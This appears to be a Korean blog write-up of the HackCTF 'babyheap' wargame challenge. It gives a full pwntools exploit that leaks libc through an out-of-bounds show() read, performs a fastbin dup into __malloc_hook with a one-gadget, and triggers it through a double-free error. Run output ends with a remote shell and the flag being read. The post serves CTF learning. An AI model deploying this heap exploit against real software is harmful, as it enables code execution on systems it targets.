본문으로 바로가기

재밌는 fastbin dup into stack 문제이다.

빡센 특징이 한가지가 있다.

그건 바로 malloc이 6번까지밖에 안된다는것이다.

- 그래서 malloc free해서 unsorted bin leak은 힘들다.

- malloc hook을 덮어도 다시 malloc 할 수가 없어서 다른방법으로 malloc을 해야 한다.

그래서 show함수에 있는 oob 취약점으로 leak 해야한다.


show함수에 있는 oob 취약점과 특별한 방법으로 malloc해서 풀면 된다.

여기서 오늘 알아가는건, free할때 (dubble free 등) 오류가 나면 내부 루틴에 의해 malloc이 된다는것이다.


간단한 fastbin dup into stack이라 딱히 설명할건 없고, 그냥 익스코드 남기고 간당!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
 
libc = ELF("./libc.so.6")
 
= ELF("./babyheap")
= remote("ctf.j0n9hyun.xyz"3030)
#r = process("./babyheap")
 
def malloc(size,content):
    r.sendlineafter("> ","1")
    r.sendlineafter("size: ",str(size))
    r.sendafter("content: ",content)
 
def free(index):
    r.sendlineafter("> ","2")
    r.sendlineafter("index: ",str(index))
 
def show(index):
    r.sendlineafter("> ","3")
    r.sendlineafter("index: ",str(index))
 
ptr = 0x602060
free_got = e.got["free"]
offset = (0x400590 - ptr) / 8
log.info("free_got : " + hex(free_got))
log.info("offset : " + str(offset))
 
 
show(offset)
 
leak = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00")
libc_base = leak - libc.symbols["free"]
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
oneshot = libc_base + 0xf02a4
log.info("leak : " + hex(leak))
log.info("libc base : " + hex(libc_base))
log.info("malloc_hook : " + hex(malloc_hook))
log.info("oneshot : " + hex(oneshot))
 
malloc(96,"A")
malloc(96,"A")
 
free(0)
free(1)
free(0)
 
malloc(96,p64(malloc_hook-0x23))
malloc(96,"A")
malloc(96,"A")
malloc(96,"B" * 19 + p64(oneshot))
 
r.interactive()
cs


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
juntae@ubuntu:~/wargame/hackCTF/babyheap$ p ex.py 
[*'/home/juntae/wargame/hackCTF/babyheap/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*'/home/juntae/wargame/hackCTF/babyheap/babyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to ctf.j0n9hyun.xyz on port 3030: Done
[*] free_got : 0x601fa0
[*] offset : -263002
[*] leak : 0x7f741631c4f0
[*] libc base : 0x7f7416298000
[*] malloc_hook : 0x7f741665cb10
[*] oneshot : 0x7f74163882a4
[*] Switching to interactive mode
1. malloc
2. free
3. show
> $ 2
index: $ 2
1. malloc
2. free
3. show
> $ 2
index: $ 2
*** Error in `./main': double free or corruption (fasttop): 0x0000000000ca2010 ***
$ ls
flag
main
$ cat flag
HackCTF{플래그는_본인이_문제풀고}
cs

다음과 free corruption이 나고 나면 쉘이 뜨는 모습이다.

아 그리고 이거 mallochook덮고 malloc안되길래 freegot에 system덮고 인자로 binsh줄려그랬는데 안되더라.

왜인지 봤더니 full relro였다. 시뱅.